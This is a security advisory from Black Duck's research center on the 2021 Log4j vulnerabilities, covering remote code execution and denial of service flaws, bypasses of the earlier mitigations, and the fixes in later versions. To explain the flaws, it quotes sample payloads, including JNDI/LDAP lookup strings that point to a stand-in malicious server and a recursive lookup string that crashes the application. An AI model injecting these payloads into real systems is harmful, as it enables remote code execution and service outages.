CyRC Vulnerability Analysis: Remote code execution zero-day exploit in Java logging library (log4j2)

Log4j summary

A dangerous, zero day exploit has been identified in Log4j, a popular Java logging library.

Apache Log4j/Log4j2 is broadly used within the Java community to implement application logging. As Log4j is a de facto standard within the Java community, it’s likely that most Java applications use it as their log interface.

The Black Duck Cybersecurity Research Center (CyRC) has issued a corresponding set of Black Duck® Security Advisory (BDSA) records, and assigned a CVSS score with links to proof-of-concept exploits. This information enables users to quickly identify where they have exposure to this vulnerability without requiring any rescanning of their applications. This will simplify the triage, validation, and remediation efforts.

Summary of the recent Log4j vulnerabilities

BDSA-2021-3887:

Apache Log4j contains a remote code execution (RCE) vulnerability. This allows an attacker that has permissions to modify the logging configuration files to input a malicious JDBC Appender with a data source referencing a JDNI URI. This can then lead to RCE.

Note: This vulnerability impacts log4j-core.
 

Technical Description

The RCE vulnerability is due to the JDBC Appender not using the JndiManager when accessing JNDI resources.

The createConnectionSource method in log4j-core/src/main/java/org/apache/logging/log4j/core/appender/db/jdbc/DataSourceConnectionSource.java performs a lookup with the given jndiName. An attacker that is able to modify the configuration files to contain a jdbcAppender that has a JDNI URI in the data source can use this to achieve RCE.

This has been fixed by using the JndiManager in the createConnectionSource method in DataSourceConnectionSource.java when performing lookups using a JDNI data source.

BDSA-2021-3817:

Apache log4j is vulnerable to a denial-of-service (DoS) when uncontrolled recursion occurs through a self-referencing lookup. An attacker can trigger a DoS with malicious input data that generates a recursive lookup and consequent application crash.

Successful attacks require the attacker to have access to Thread Context Map (MDC) input, and for log4j configured with non-default pattern layout with a Context Lookup.

Only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted.

Apache Log4j is the only Logging Services subproject affected by this vulnerability. Other projects like Log4net are not impacted.
 

Technical Description

If log4j is configured with non-default Pattern Layout with a Context Lookup such as ${dollar}${dollar}{ctx:loginId}, an attacker with control over Thread Context Map (MDC) can trigger an DoS. An example of a malicious payload is ${${::-${::-$${::-j}}}}. When such a payload is sent to Log4j the variables are recursively expanded. Missing checks in log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/StrSubstitutor.java result in an infinite loop and eventually a StackOverflowError.

This occurs due to a failed replacement, or expansion of a variable causing the substitute method in log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/StrSubstitutor.java to incorrectly call replace with the same variable. This is an infinite loop event.

BDSA-2021-3779:

Log4j is vulnerable to RCE. This vulnerability was discovered due to an incomplete fix for CVE-2021-44228. Under certain non-default log4j configurations, it is possible for an attacker to input malicious JNDI lookup patterns that will potentially result in the execution of code.

Successful attacks require the attacker to have access to Thread Context Map (MDC) input and log4j to use a non-default pattern layout with message lookups enabled.

Only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.

Note: Previous mitigations involving configuration such as setting the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability. This can lead to a bypass for the mitigation for CVE-2021-44228.
 

Technical Description

Remote code execution (RCE) is possible in cases where a layout pattern is configured to use ${ctx:foo} lookups and an attacker can supply the ThreadContext (Thread Context Map (MDC)) values. A payload such as ${jndi:ldap://127.0.0.1#bar.com:1234/a} will be expanded recursively, resulting in attacker-controlled JNDI lookups.

Any previous mitigation or restriction of Log4j JNDI LDAP lookups to localhost can be bypassed using the mentioned payload. This is possible due to the check performed using the getHost method here will return the part before the # (127.0.0.1) which is allowed. But the JNDI resolver will resolve the full hostname and attempt to connect to the LDAP server.

This commit is the previous mitigation introduced in version 2.15.0-rc1 and is no longer deemed adequate protection against RCE.

This commit introduced in 2.15.0-rc1 disables message lookups by default, for an application to become vulnerable to RCE message lookups must be enabled. However, part of this commit uses a try/catch statement in the lookup method in log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java. This is intended to catch URISyntaxException exceptions. If an exception is thrown, the method will not return null and will instead perform a recursive call to lookup. This was disclosed as a denial-of-service (DoS) vulnerability. This commit in version 2.15.0-rc2 amended this issue.

Version 2.15.1-rc1 does disable JNDI lookups by default in this commit. However, message lookups have not been removed in this version.

This vulnerability has been fully mitigated by removing support for message lookup patterns and disabling JNDI functionality by default.

BDSA-2021-3731: 

Apache Log4j, as used in many popular services, is vulnerable to improperly allowing lightweight directory access protocol (LDAP) access via Java naming and directory interface (JNDI). A remote attacker able to supply the end application with specially crafted input that is then processed by the Log4j subcomponent could cause the execution of arbitrary Java code.

Note:

• log4j-api packages by themselves do not contain the vulnerable functionality and are therefore unaffected. log4j-core packages and the upstream overarching source repository are affected. 
• A previously suggested mitigation of setting environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true is not recommended. This mitigation has been proven inadequate against this vulnerability. See BDSA-2021-3779 (CVE-2021-45046) for more details.
   

Technical Description

The issue arises because Log4j versions 2 and above will process specially crafted input of the form ${jndi:ldap://malicious.server/a} and lookup and return Java code from a remote attacker controlled server. Several exploit techniques exist that leverage specific Java code paths/classes to achieve remote code execution (RCE).

The issue was partially fixed in version 2.15.0-rc1 by this commit and this commit. This patch and release were deemed inadequate and a further release 2.15.0-rc2 with this commit was made to correct the issue.

A further vulnerability has been found (BDSA-2021-3779, CVE-2021-45046) that results in a bypass of these fixes when Log4j uses non-default pattern layouts. An attacker can still achieve RCE even with these patches and noted workarounds in place. The issue was corrected in version 2.16.0-rc1.